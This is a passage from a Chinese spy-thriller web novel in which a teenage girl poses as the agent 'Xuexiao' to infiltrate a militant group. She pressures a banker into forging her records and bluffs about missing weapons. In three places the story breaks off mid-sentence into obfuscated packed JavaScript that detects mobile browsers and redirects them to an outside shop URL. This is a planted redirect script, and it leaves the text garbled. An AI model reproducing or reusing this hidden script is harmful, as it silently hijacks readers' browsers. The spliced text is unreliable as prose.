“为什么?”他问,眼睛盯着前方的球道,但注意力显然在别处,“拉特娜……她应该不缺雇主。她的简历很精彩,虽然有些经历不方便写上去。” “我缺的不是钱。”叶馨蒙按照庞教官的指示回答,表情像是在说我不缺氧气,缺的是新鲜空气……但嘴上说:“是舞台。爪哇那边最近太‘热’了,我需要换个环境,做些有挑战性的工作——最好是那种‘可能活不到退休’级别的挑战。” “‘有挑战性’。”彭迪的语气里带着讽刺像是听到有人说“我想试试跳伞,但不想背降落伞”,“你知道战鹰’是什么组织吗?他们不是普通的安保公司或雇佣兵团。他们更像是……有企业文化的恐怖分子。” “我知道。所以他们才值得我考虑。”叶馨蒙的语气像是在评价餐厅,“普通的安保公司只能提供养老保险,他们能提供肾上腺素。” 彭迪把车停在第十七洞的发球台旁,但没有下车。他关掉发动机,转头直视叶馨蒙,目光像探照灯:“林小姐,或者不管你叫什么——我建议你忘了这件事……瑆洲不适合你这种人,这里的法律比较健全,不喜欢持枪的游客。” “‘我这种人’?”叶馨蒙模仿着雪鸮那种略带挑衅的轻笑,听起来像猫在喉咙里咕噜,“您知道我是哪种人吗,彭先生?您认识拉特娜,就应该知道我们这种人一旦有了目标,就不会轻易放弃——除非目标先放弃。” 彭迪看着她。阳光透过球车的顶棚,在他脸上投下交错的阴影,像是在做脸部拼图。有那么一瞬间,叶馨蒙觉得他在她脸上寻找着什么——也许是拉特娜的影子,也许是其他特工的痕迹,或者只是“这个女孩是不是疯了”。 “你为什么认为我能帮你接触战鹰?”他终于问,像是老师问学生“你为什么觉得我能帮你作弊”。 “因为他们在接触您。”叶馨蒙抛出了王牌,语气平淡得像在说“因为今天下雨”,“我知道他们想拉您入伙。资金、渠道、还有您在交趾军方的关系——这些都是他们想要的。您是他们想要的完美合伙人,既能搞钱又能搞事,性价比高。” 彭迪的表情僵住了,像突然被冷冻。他的呼吸变得轻微但急促,那是肾上腺素飙升的反应,像是被追债的找到了家门口。叶馨蒙几乎能看到他大脑在飞速运转:她怎么知道?她知道多少?她是战鹰派来试探的,还是别的什么?我要不要现在就开车逃跑? “谁告诉你的?”他的声音很平静,但太平静了,像是暴风雨前的海面——表面平静,底下暗流汹涌。 “我有我的渠道。”叶馨蒙说,像是在分享生活小贴士,“就像您有您的渠道一样。重要的是,我知道您还没有答应他们。您犹豫了。为什么?是他们给的股权不够多,还是企业文化不符合您的价值观?” 球车旁走过另一组球手,谈笑声短暂地打破了紧张的气氛——他们在讨论昨晚的球赛。等他们走远后,彭迪才开口,声音压得很低,像是在说国家机密: “因为我见过战争。真正的战争,不是电影里那种英雄主义的表演——没有慢镜头,没有悲壮音乐。我见过村庄被烧毁,孩子失去父母,士兵死在泥泞里——而这一切往往始于某个会议室里的‘伟大计划’,和一群穿着西装的人。”他停顿了一下,像是在整理回忆,“战鹰’的计划会引发战争,在瑆洲。而我不想成为那个点燃引信的人——我已经退役了,我的打火机上交了。” 叶馨蒙仔细听着。这些话听起来真诚,但情报工作的第一条铁律就是:每个人都在表演,区别只在于演技好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这个名字像一道闪电劈开了两人之间的迷雾,也像是有人突然在安静的图书馆里放鞭炮。彭迪的瞳孔放大,那是真实的震惊,不是表演——除非他是奥斯卡级别的演员。 “不可能……”他喃喃道,声音像是从很远的地方传来,“拉特娜已经……他们说她已经……” “已经什么?死了?被抓了?”叶馨蒙笑了,那是雪鸮式的笑,嘴角上扬但眼睛冰冷,像是冰激凌上插了根蜡烛,“传言总是不可靠的,彭先生。我还活着,而且我就在瑆洲——这里的咖啡比爪哇贵,但Wi-Fi快一点。现在我需要你帮我接触战鹰。作为交换,我可以帮你解决一个问题——那种你可能不想带回家的问题。” “什么问题?” “你不想要战鹰’的钱,也不想要他们的战争。但你无法直接拒绝,因为那会危及你和你的妻子——他们可能不会送花道歉。”叶馨蒙倾身向前,压低声音,像是在分享秘密食谱,“但如果有一个更有价值的新成员加入——一个像我这样的专业人士,能打能杀还能做Excel表——他们可能会暂时转移注意力。你可以告诉他们,你正在为我提供担保,把我引荐给他们。这样既能拖延时间,又能显得你仍在‘合作’——就像在会议上假装记笔记。” 彭迪沉默了很久,久到叶馨蒙开始计算这段沉默在录音里会占多少内存。他的目光越过叶馨蒙,看向远处的海湾。水面上,几艘帆船缓缓移动,像是时光本身一样从容不迫——和他们的紧张谈话形成鲜明对比。 “即使我引荐你,”他终于说,声音恢复了平静,像是刚做完决定,“他们也会调查你的背景。战鹰’不是傻瓜——他们至少会谷歌一下。” “让他们调查。”叶馨蒙重新戴上太阳镜,动作潇洒,“我的履历经得起查。爪哇、马来西亚、泰国……我有足够的‘工作记录’,虽然有些客户评价是匿名写的。当然,有些需要稍微调整时间线——比如那次曼谷的任务,实际是周二,但我们可以说是周三,那天交通比较堵。而这正是我需要你帮助的地方——以你在金融界的人脉,伪造几条出入境记录和银行流水,应该不难,就像做假账,但更刺激。” “这是犯罪。”彭迪说,像是在提醒一个显而易见的事实。 “您已经在犯罪边缘了,彭先生。”叶馨蒙的语气变得强硬,像是老师在批评没交作业的学生,“您的妻子在为非法武装组织当中间人。您知情不报,而且没有切断联系——至少没拉黑他们的号码。在瑆洲法律里,这叫做‘包庇’和‘共谋未遂’,刑期够您打完所有高尔夫球场。” 球车里的空气降至冰点。一只蜻蜓停在挡风玻璃上,透明的翅膀在阳光下闪闪发光,对人类的阴谋毫无知觉——它可能在想“这片玻璃真干净”。 “你在威胁我。”彭迪说,声音里听不出情绪,像是在念说明书。 “我在陈述事实。”叶馨蒙纠正道,像是在纠正拼写错误,“但我也在提供解决方案。帮我接触战鹰’,我就成为他们的焦点。您和您的妻子就能暂时安全——像是有人在你面前点了更大的火,别人就看不到你手里的小火柴了。而且……”她停顿了一下,抛出最后的诱饵像是在钓鱼,“如果战鹰真的在瑆洲策划什么,我在内部就能知道详情。也许还能做点什么,阻止最坏的情况发生——比如在他们准备炸大楼的时候,故意把炸药换成面粉。” 这是精心设计的说辞:既给了彭迪道德上的理由(阻止暴力),又给了他实际的利益(保护自己和妻子),还满足了他的职业自尊(他在参与一项“更高目标”的行动,虽然不太合法)。 彭迪闭上眼睛,像是在内心投票。当他再次睁开时,眼里有了决定——那种“好吧,就这样吧”的决定。 34. 退役军人的抉择(2) “我需要时间。”他说,语气务实,“伪造记录需要时间而且必须先和苏蜜妲谈谈。她……她不知道全部情况。她以为只是在帮一些‘生意伙伴’牵线——她以为战鹰是做进出口贸易的,只是偶尔进出口武器。” 典型的自我欺骗。叶馨蒙想。苏蜜妲可能确实不知道战鹰的全盘计划,但她一定知道那些“生意伙伴”不是普通人——正常人不会在废弃码头见面,还穿着西装。 “您有三天时间。”叶馨蒙说,伸出三根手指,“三天后,我会联系您。准备好我的新身份:拉特娜·维贾亚,爪哇籍自由情报员,擅长武器采购和战术规划——还会做不错的爪哇炒饭。最近在爪哇的‘麻烦’是因为我拒绝了一个军方派系的收编,所以他们散布了我被捕的谣言——典型的职场报复。” “很详细的故事。”彭迪评价道,像是在读小说大纲。 “好故事才能让人信服。”叶馨蒙递给他一张纸条,上面只有一个加密通讯频段——看起来像Wi-Fi密码,“用这个联系我。只发文字,每次不超过三十秒——像发推特,但要加密。三天后,晚上九点,我会等你的消息。别迟到,我晚上要写作业。” 彭迪接过纸条,看了一眼,然后撕碎,碎片放进高尔夫球袋的侧袋——动作专业,像是处理过机密文件。 “最后一个问题。”他说,目光锐利如刀,但这次不是敌意,而是好奇,“如果你真的成功打入战鹰,你会做什么?真的帮他们?还是……你是另一边的?” 叶馨蒙没有直接回答。她打开球车门,拿起自己的球杆(租金还没付),站在发球台上。晨光勾勒出她年轻的轮廓,但她的姿势、她的眼神、她握杆的方式,都像极了那个代号雪鸮的女人——如果雪鸮打高尔夫的话。 “彭先生,”她说,声音轻得像是在自言自语,但又刚好让他听到,“有时候,要摧毁一个蚁穴,最好的方法不是从外面浇水,而是成为一只蚂蚁,从内部挖空它的地基——顺便把他们的食物都吃掉。” 她挥杆。球划出完美的弧线,落在果岭边缘,离洞旗只有几步之遥——这一杆比她之前的水平好太多,但她希望彭迪没注意到。 彭迪看着那颗球,又看看叶馨蒙。最后,他点了点头,很轻,但很坚定,像是在合同上签字。 “三天后。”他说,像是预约了牙医。 叶馨蒙没有道别,只是提起球包,朝练习场的方向走去——她终于知道在哪了。她的步伐平稳,背脊挺直,直到转过一个弯道,消失在树丛后,像魔术师从舞台上消失。 彭迪在球车里坐了很久。他取出手机,看着屏幕上的家庭照片:他和苏蜜妲在婚礼上的合影,两人都笑得灿烂,像是世界上没有烦恼。那时的他以为,离开军队,进入金融界,娶一个温柔的妻子,人生就能翻开平静的一页——像书一样,但现实是电子书,会突然弹出广告。 但现在,战争的阴影再次笼罩。不是边境线上的枪炮,而是更隐蔽、更阴险的暗战——金钱、情报、背叛、阴谋,以及高尔夫球场的偶遇。 他想起多年前在特种部队时,教官说过的话:“军人有两种退役方式。一种是离开军营,回归平民生活,然后发现自己连洗衣机都不会用。另一种是永远不离开战争,只是换了个战场——从山地换到了会议室。” 他以为自己选择了第一种。 但现在看来,战争选择了他,像是快递送错了包裹。 他启动球车,缓缓驶向下一个洞。阳光依然明媚,草地依然翠绿,但一切都不同了。他知道,从这一刻起,自己必须再次成为那个冷静、果断、能在压力下做出生死抉择的军人——虽然现在压力主要来自房贷和这个突然出现的雪鸮。 而第一步,就是回家,和苏蜜妲谈谈。 关于真相(部分)。 关于选择(有限)。 关于如何在这个充满毒蛇和猎鹰的世界里,找到一条不沾血的生路——如果还有这样的路存在的话,可能得加钱。 远处,叶馨蒙已经走出俱乐部大门。她摘下太阳镜,脸上的冷漠表情瞬间消失,变回了那个十九岁少女的模样——揉了揉脸,表情肌有点酸。但她的眼睛深处,有什么东西已经改变了,像是软件升级了。 她拿出手机,给庞教官发了一条加密信息: “接触完成。目标动摇但可争取。三天后确认。PS:高尔夫比看起来难,租球杆好贵。” 按下发送键时,她想起彭迪最后看她的眼神——那不是看一个十九岁女孩的眼神,而是看一个同类,一个同样被困在命运蛛网中的挣扎者,虽然他们的蛛网材质不同。 她不知道这种感觉是什么。也许是同情,也许是共鸣,也许只是饿了。 但很快,她摇摇头,把这种情绪压下去。庞教官说过:“情感是特工最昂贵的奢侈品。买得起的人,往往活不久——不是死于任务,是死于信用卡账单。” 手机震动,回复传来: “收到。开始准备下一阶段。记住,你现在是雪鸮。另外,球杆租金已报销,但需要发票。” 叶馨蒙深吸一口气,把手机放回口袋。她拦下一辆出租车,报出瑞华高中的地址——司机多看了她一眼,可能因为她穿着高尔夫装却要去高中。还有两节课要上,化学测验在下午,题目关于酸碱中和,比人际关系简单多了。 双重生活。双重身份。双重人格分裂的风险。 车子汇入车流。窗外,瑆洲的街道熙熙攘攘,人们忙碌着各自的生活,对正在酝酿的风暴一无所知——也可能知道,但选择先处理手头的工作。 而在城市的另一个角落,真正的雪鸮正在囚室的墙壁上,用指甲刻下第五十七道划痕——指甲有点钝了。她虽然不知道外面的具体计划,但感觉到传言非虚——似乎真的有人正在用她的羽翼飞翔,飞得还挺稳! 而她,终将收回自己的羽毛。 用血,如果需要的话——她不喜欢暴力,但也不介意。 阳光穿过铁窗,照在那些划痕上。每一道,都是一个等待的日子。 每一道,都是一个复仇的承诺——带利息的那种。 三天后的夜晚九点零三分——比约定时间晚了三分钟,因为叶馨蒙在地铁上给一位老奶奶让座,多坐了一站。 她站在瑆洲湾观景台的二层,这里可以俯瞰整个港口的夜景。集装箱码头灯火通明,起重机如同发光的钢铁巨人,在夜色中有序地搬运着来自世界各地的货物——主要是电子产品、服装和“我也不知道是什么但报了关”的东西。海风带着咸湿的气息,吹乱了她的头发,也吹来远处烤鱿鱼摊的香味。 她穿着黑色夹克(打折款,防水)和深色牛仔裤(弹性好,方便活动),背包随意地靠在栏杆上。外表看起来像个“夜跑后在此休息顺便思考人生”的大学生,但背包侧面隐藏的传感器正在扫描周围的无线电信号,耳朵里的微型耳机过滤着环境噪音,捕捉特定频率的通讯——主要是外卖小哥的对讲机,挺吵的。 九点零四分,耳麦里传来轻微的电流声,接着是加密频段接通的提示音——听起来像微波炉“叮”了一声,但更隐秘。 “我在东侧楼梯口。”彭迪的声音传来,比三天前更加疲惫,像是刚开完季度财报会议,“穿灰色风衣——其实更像是深灰,灯光下可能像黑色。” 叶馨蒙没有回头,只是抬手调整了一下耳机的位置——这是约定的确认信号,意思是“收到,别慌”。她从背包里取出水瓶(印着“多喝热水”的赠品),喝了一口水,然后不紧不慢地朝东侧楼梯走去,步伐像是饭后散步。 观景台的这个区域今晚人不多。几个游客在拍照(姿势老套),一对情侣靠在远处的栏杆上低语(可能在对台词),还有一个戴着耳机慢跑的中年人绕圈(步伐沉重,不太像特工)。叶馨蒙快速评估:游客和情侣是自然的,慢跑者需要观察——但如果他是特工,这体能测试可能过不了。彭迪选择这里见面,应该已经做过安全检查——至少查过天气预报。 东侧楼梯口相对隐蔽,一盏路灯坏了,光线昏暗,很适合谈一些“最好不要被看见”的事。彭迪站在那里,确实穿着灰色风衣(灯光下确实像黑色),手里拿着一个公文包(银行标配)。看到叶馨蒙走近,他点了点头,动作僵硬。 “你很准时。”他说,语气里有一丝“你居然真来了”的惊讶。 “准时是职业素养,虽然我的职业不太讲这个。”叶馨蒙停在距离他两米的地方,保持安全距离——也是社交距离,“您考虑得怎么样?希望没太影响您睡眠。” 彭迪没有直接回答。他打开公文包,取出一个平板电脑(银行发的,有公司logo),点亮屏幕后递给她,动作像是递合同。 屏幕上显示着一份完整的人物档案,排版精美,像是求职简历: 姓名:拉特娜·维贾亚 国籍:爪哇(护照号:JP-7294-8853,有效期至明年六月) 职业:国际商务咨询顾问(主要领域:风险评估与危机管理) 出入境记录:过去三年内十二次入境瑆洲,最近一次是两周前——那天刚好下雨,航班延误了三小时。 银行记录:泛亚联合银行贵宾账户,余额$247,000.83(有零有整,显得真实),近期有来自爪哇、东帝汶、迪拜的汇款记录(金额不等,像是项目尾款)。 关联公司:维贾亚咨询有限公司(注册于开曼群岛,年审正常,报税记录完整) 此外还有社交媒体痕迹(LinkedIn有300+人脉,但最近一条动态是半年前)、酒店住宿记录(都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937052|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是四星级,但没住过总统套房)、甚至几张模糊的监控截图——都是经过技术处理的图像,但足以在初步调查中蒙混过关(人脸识别可能会失败,但人眼看不出来)。 “做得不错。”叶馨蒙滑动屏幕,仔细检查每一个细节,像是老师在批改作业,“出入境记录的时间点和我需要的故事线吻合——比如三月那次,我可以说去看了樱花,虽然爪哇人一般不看那个。银行流水也够自然——不太多,但足够显示我有稳定收入,还买得起咖啡。” “我用了银行系统的后台权限。”彭迪的声音很低,像是怕被旁边的垃圾桶听到,“但只能做到这个程度。技术部的小王问我在测什么,我说是压力测试——他信了,因为他刚失恋,注意力不集中。但如果战鹰深入调查,或者动用他们在移民局的关系,可能会发现破绽——比如发现‘拉特娜·维贾亚’的护照照片和她本人长得不太像,虽然都挺好看。” “他们会调查,但不会太深入。”叶馨蒙关掉平板,递还给他,动作像是在还书,“如果他们怀疑每个投诚者,就没人会加入了。关键在于引荐人的分量——您准备好了吗?表情要自然,不要像在偷东西。” 彭迪深吸一口气,海风将他的风衣吹得猎猎作响,像是要起飞。远处传来货轮的汽笛声,悠长而孤独——也可能是货船在说“让一让,我船大”。 “我和苏蜜妲谈过了。”他终于说,语气像是做了三天心理建设,“她……她承认一直在为战鹰传递消息。但她坚持说自己不知道他们的全盘计划,只以为是普通的政治献金和游说——她以为战鹰是某个政党的外围组织,主要工作是发传单和拉票。” 典型的自我开脱。叶馨蒙想,但没有说出口——每个人都需要一个让自己能睡着的理由。 “我告诉她,无论她知不知道,我们都已深陷其中。”彭迪继续说,目光看向远处的海面,“唯一的出路不是逃避,而是控制局面——像控制一辆刹车失灵的自行车。我提出了一个计划:假意合作,但要求他们接受一个我引荐的专业人士——你。这样既能满足他们的资金需求,又能让我们在组织内部有个‘自己人’,虽然这个自己人我也不太熟。” “她同意了?” “她害怕。”彭迪的嘴角扯出一个苦涩的弧度,像是喝了苦瓜汁,“害怕战鹰也害怕失去现在的生活——我们的房贷还有二十年。但最终她同意了。毕竟,这是我能想到的唯一两全之策——既能保护她,又能避免我真的资助一场战争,虽然我的战争基金只够买把玩具枪。” 叶馨蒙观察着他的表情。彭迪的眼神中有愧疚(对妻子)、有挣扎(对道德)、有决心(对房贷),但唯独没有欺骗的痕迹。要么他是个顶尖的演员(银行年会演过小品),要么他说的是实话。 “那么下一步,”她说,把话题拉回正轨,“就是正式引荐了。您打算怎么做?发个推荐信,还是拉个微信群?” 彭迪从公文包里取出第二样东西:一部老式的翻盖手机,看起来已经停产多年,像是从博物馆偷出来的。 “鱼鹰——也就是阮文雄——给了我一个一次性联络方式。”他打开手机,屏幕亮起蓝光,显示着一个倒计时:71:42:15,正在一秒秒减少,像是在给什么计时,“他说,当我做出决定后,用这个手机发送预定的代码。他会安排见面——地点他定,时间他定,菜单可能也他定。” “代码是?” “两个选择。”彭迪看着手机屏幕,像是在看定时炸弹,“‘1’代表同意合作,他会亲自来我家详谈——带水果篮的那种。‘2’代表拒绝。”他停顿了一下,喉咙动了动,“他没有说拒绝的后果,但意思很明白——可能不是水果篮,是别的什么篮。” 叶馨蒙思考了几秒,大脑像计算机一样运转:“不能选‘1’。如果他去您家,整个对话都在他的控制下,我没法自然介入——而且您家沙发可能不够坐。” “那你的建议是?”彭迪问,像是学生在问老师。 “发第三条信息。”叶馨蒙说,语气果断,“不是‘1’也不是‘2’。告诉他,您同意合作,但有一个条件:您要引荐一个专业人士加入,这个人的能力对战鹰在瑆洲的行动至关重要——比如能搞到便宜军火,或者会做Excel透视表。要求三方会面,在公共场所——咖啡馆最好,有Wi-Fi。” 彭迪皱眉,额头出现两道深纹:“他会同意吗?这种人一般不喜欢公共场所,太亮。” “如果他真的急需资金和人才,就会同意。”叶馨蒙分析道,像是在解数学题,“而且公共场所对双方都有约束——他不能轻易用强(有摄像头),我们也有更多操作空间(可以假装去洗手间)。关键是,要让他相信‘拉特娜·维贾亚’的价值大到值得他破例——就像网红店排队,值得等。” 35. 铤而走险 “比如?具体价值是什么?” 叶馨蒙从自己的背包里取出一个U盘(外壳是卡通熊猫,不太专业):“这里有一些‘样品’——爪哇军方近期的布防调整分析(过期的)、马六甲海峡巡逻船队的日程漏洞(他们自己都知道)、还有东南亚几个港口海关的检查薄弱环节(主要是午休时间)。都是真实的、可验证的情报,但经过处理,不会暴露来源——就像考试前给的‘重点范围’。” 彭迪接过U盘,神情复杂,像是在接一个烫手山芋:“这些东西……你是从哪里弄来的?网上买的?” “我有我的渠道。”叶馨蒙没有解释,摆出高深莫测的表情。实际上,这是庞教官提供的“诱饵”——真实但已过时的情报,经过重新包装后,足以显示雪鸮的情报获取能力。成本不高,主要是打印费。 “我会告诉阮文雄,你手上还有更重要的东西。”彭迪说,声音压得更低,“‘雪鸮’的成名作——那批失踪的军火。他说那是你职业生涯的‘代表作’,虽然没办展览。” 空气瞬间凝固,像突然开了空调。 叶馨蒙控制着自己的表情,不让惊讶流露出来——她努力让脸看起来像刚听完一个不好笑的笑话。这是计划外的变量——彭迪怎么会知道军火的事?庞教官明确说过,这是高度机密,只有极少数人知晓,连她都是三天前才知道的。 “您怎么知道军火的事?”她问,尽量让语气听起来像是好奇而非警惕,像是问“你怎么知道我今天吃了什么”。 “苏蜜妲偷听到的。”彭迪压低声音,几乎成了耳语,“昨晚阮文雄又联系了她,语气比之前更急,像外卖快超时了。他说战鹰在瑆洲的行动已经进入倒计时,急需那批军火武装人员——不然就得用棍棒,效果差。他还说,如果‘雪鸮’真的在瑆洲出现,那批军火就是她加入组织的‘投名状’,比简历管用。” 叶馨蒙的大脑飞速运转,像一台超频的电脑。这是个机会,也是巨大的风险。如果她声称知道军火下落,一旦“战鹰”要求她立刻交货,她的伪装就会瞬间崩塌——像纸房子遇到下雨。 但另一方面,这也是她打入组织核心的最佳筹码。没人会拒绝一个自带军火库的新成员,哪怕这个军火库可能只是PPT。 “那批军火确实在我手里。”她最终说,决定赌一把——赌注是自己的命,赔率未知,“或者说,我知道它们在哪里。但我需要时间安排交接——那些不是普通的步枪手榴弹,有重型武器和特殊装备,转移需要周密计划,还要找货车,司机不好找。” 彭迪盯着她看了很久,眼神像是X光:“你真的有?不是模型?” “我从不虚张声势。”叶馨蒙迎上他的目光,努力显得真诚,“但我也从不免费赠送。如果战鹰想要那批军火,就必须让我成为核心成员,参与计划制定——至少让我知道计划内容,不然我怎么知道该送多少炸药。这是我的条件,不接受讨价还价。” 这很符合雪鸮的性格:精明、强硬、永远把筹码握在手里——像打牌从来不亮底牌。 彭迪点了点头,似乎接受了这个说法,虽然眼神里还有怀疑。他拿起那部老式手机,拇指悬在按键上,像在决定按哪个电梯楼层。 “发送什么代码?”他问,声音有点干。 叶馨蒙思考了几秒,海风吹得她刘海乱飞:“发‘3’。然后附上一句话:‘合作,但带一位专家。她有你们需要的东西。’——不用加表情符号,他不像会用的人。” “就这些?不用写‘急急急’?” “就这些。”叶馨蒙说,语气自信,“神秘感会引起他的好奇。而且,‘有你们需要的东西’可以有很多解释——资金渠道、情报、军火、甚至演唱会门票。让他自己猜测,越想越觉得有价值,像开盲盒。” 彭迪输入信息。老式手机的键盘发出轻微的咔嗒声,在夜晚的海风中几乎听不见,像在偷偷摸摸打字。他按下发送键,屏幕显示“信息已发送”,然后倒计时突然归零,手机自动关机,再也无法启动——设计得很环保,一次性的。 一次性设备,用过即毁,像某些酒店的拖鞋。 “现在呢?”彭迪把手机扔进旁边的垃圾桶(分类:有害垃圾),动作有点不舍——毕竟是个古董。 “现在,等待。”叶馨蒙看向远处的港口,灯光在海上碎成一片金色,“他会在二十四小时内回复。通过苏蜜妲,或者别的渠道——可能塞门缝。我们要做的,就是准备好一切,包括心理准备。” “包括那批你‘知道下落’的军火?”彭迪问,语气像是在问“你记得把钥匙放哪了吗”。 “尤其是那个。”叶馨蒙转过身,背对着海风,头发被吹到脸上,“彭先生,您听说过一个名叫刘易斯的人吗?前英国SAS,现在在龟背岛做私人安保顾问——主要工作是教有钱人怎么不被绑架,收费很贵。” 彭迪思索了一下,眉头皱起:“名字有点耳熟……苏蜜妲好像提过。阮文雄在找这个人,说他可能知道一些‘重要物资’的线索,像是寻宝游戏。难道……” “刘易斯是我在爪哇的联络人之一。”叶馨蒙半真半假地说,表情自然,“那批军火的最后交接就是通过他安排的——他负责物流,我负责付钱。如果战鹰真的急着要,我需要联系他确认细节,比如仓库密码和叉车司机电话。” 这是庞教官教她的策略:当谎言中掺杂足够多的真实细节时,就会变得难以拆穿。刘易斯确实存在,也确实可能知道军火下落——但他是否真的为雪鸮工作,就是另一回事了。就像你知道快递员的名字,但不代表你们是朋友。 “你需要我做什么?”彭迪问,已经进入了“项目协作”模式。 “暂时不需要。”叶馨蒙看了看手表,夜光表盘显示九点二十,“但如果阮文雄同意见面,我会需要您在场,以引荐人的身份为我担保——就像求职时的推荐人,但更危险。” “她会紧张的。”彭迪说,指的是苏蜜妲。 “紧张是正常的。”叶馨蒙说,语气像是在安慰病人,“但紧张总比死亡好。您知道战鹰处理叛徒的方式——应该比银行处理坏账更彻底。” 彭迪的脸色白了白,像是突然想起什么不愉快的回忆。他当然知道。在交趾特种部队时,他见过那些被极端组织处决的“叛徒”尸体——那不是简单的枪决,而是残酷的示众,像某种行为艺术。 “我还有最后一个问题。”他说,声音在海风中几乎被吹散,需要仔细听,“你为什么要这么做?如果你真的是‘雪鸮’,有大把更安全、报酬更高的选择——比如去当私人保镖,或者开个防身术培训班。为什么要冒险掺和战鹰的事?他们看起来不太正规。” 叶馨蒙沉默了几秒,让海风填满沉默的间隙。她想起庞教官的警告:不要过度解释动机,那会显得可疑。雪鸮这样的人做事,不需要太多理由,像猫抓老鼠,不需要申请许可。 “也许我和您一样,厌倦了小打小闹。”她最终说,语气里故意带上了一丝厌倦和野心,像是在演电影,“也许我想参与一些真正能改变局面的事——虽然不知道往哪改。也许……我只是好奇,想看看战鹰到底能做到什么程度,像看真人秀。” 这个回答模棱两可,但足够让彭迪自己填补细节——人总是倾向于相信符合自己预期的解释,就像看云,你觉得像什么就像什么。 彭迪点了点头,似乎接受了,虽然眼神里还有问号。他提起公文包,动作恢复了银行家的利落:“那么,保持联系。小心安全——最近治安不太好,抢包的多了。” “您也是。记得吃早餐。” 彭迪转身走下楼梯,灰色风衣很快消失在夜色中,像被黑暗吃掉。叶馨蒙又在观景台站了一会儿,看着港口的灯火。货轮进港,货轮出港,世界以它自己的节奏运转,不在乎几个人的阴谋与挣扎——也不在乎她的作业还没写完。 她的耳机里传来庞教官的声音,只有三个字,简洁得像电报: “汇报情况。” 叶馨蒙按下隐藏在袖口的通讯按钮(设计得很巧妙,像袖扣),嘴唇几乎不动地低语,像是在自言自语:“接触完成。目标已同意引荐。‘鱼鹰’联络已启动——发了神秘代码。军火话题已抛出,将刘易斯作为后备解释,像备胎。等待下一步指示,以及可能的面谈地点推荐——最好有插座,我手机快没电了。” 短暂的沉默后,庞教官回应,声音冷静得像AI:“做得好。现在回安全屋,我们需要为可能的面谈做准备。阮文雄很可能会要求验证你的身份——你要准备好应对任何测试,比如现场拆枪,或者回答‘雪鸮’最喜欢什么颜色。” “明白。” “还有,叶馨蒙。”庞教官的声音罕见地停顿了一下,像是在思考措辞,“记住,一旦跨过这条线,就没有回头路了。你现在是‘雪鸮’,一个为了利益可以出卖任何人的职业特工——包括彭迪,如果必要的话。虽然他人不错,还会打高尔夫。” 叶馨蒙的手指微微收紧,指甲陷进掌心。她看着彭迪消失的方向,那个疲惫的中年男人想要保护妻子,想要守住良知,想要在泥潭中找一条干净的路——可能还得顺便还房贷。 “我明白。”她重复道,声音比刚才更冷,像是在冰箱里冻过。 通讯切断。 海风更大了,带着雨前的气息,还有远处夜市烧烤的烟味。叶馨蒙拉紧夹克,背起背包,朝地铁站走去。她的步伐平稳,表情平静,但内心某个角落,那个十九岁女孩的部分正在轻声问:这一切真的必要吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937053|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?这场以谎言开始的游戏,最终会以什么收场?我的化学作业怎么办? 没有答案。只有夜晚,和前方漫长的路,以及地铁末班车的时间。 而此时,阮文雄——代号“鱼鹰”——正坐在“南洋之星”贸易公司顶楼的办公室里。房间很大,装修豪华,但灯光很暗像是为了省电。 他面前摆着三台电脑,屏幕上显示着不同的监控画面和数据流——主要是股票行情和货运跟踪,看起来很正经。桌面上,一部崭新的手机(最新款,但贴了防窥膜)震动了一下,声音很轻,像蚊子叫。 他拿起手机,看到一条加密信息: “合作,但带一位专家。她有你们需要的东西。” 信息来自彭迪的一次性号码,发送后该号码已自动注销——很专业,但阮文雄见过更专业的。 阮文雄盯着那条信息看了很久,然后笑了。那笑容冰冷而满意,像是猎手看到了猎物终于踏入陷阱,而且陷阱里还有零食。 他打开另一个通讯界面(加密级别很高,图标是个普通的计算器),输入指令,打字很快: “启动对‘拉特娜·维贾亚’的全面背景核查。优先级:最高(但预算有限)。同时,准备见面地点:老城茶馆(二楼雅间),后天下午三点。要求:彭迪和‘专家’到场(准时,迟到不等)。通知战鹰先生,鱼儿上钩了(但鱼可能带刺)。” 发送。 他起身走到窗前(落地窗,擦得很干净),俯瞰着瑆洲的夜景。这座城市如此繁华,如此脆弱,像一件精美的瓷器,轻轻一推就会碎裂——而他刚好知道该推哪里。 而“战鹰”就是那只准备推倒瓷器的手,虽然手套可能不太合手。 至于那只自称雪鸮的母鸟…… 阮文雄的笑容加深了,左眉上的疤痕微微牵动。他喜欢聪明人,尤其喜欢自以为聪明的猎物。他们会挣扎,会算计,会以为自己掌控着局面——而那正是狩猎最有趣的部分,像看老鼠在迷宫里转。 窗外,第一滴雨开始落下,打在玻璃上,留下一道短暂的水痕。 风暴,要来了。希望带了伞。 阮文雄转身回到桌前,打开抽屉,取出一把精致的手枪(定制款,枪柄有雕花),检查了一下弹匣,又放了回去——后天可能用得上,也可能用不上,带着总没错。 他看了眼日历:后天周四,宜会友,忌借贷。 挺准的,他想。 —————— 老城区的“听雨茶馆”有着百年历史,木质结构在雨季里散发着淡淡的霉味和茶香混合的气息——一种“历史感”与“可能需要除湿机”并存的气味。下午三点的阳光艰难地穿透雕花木窗,在磨得发亮的青石板地面上投下斑驳的光影,像是老照片上的划痕。 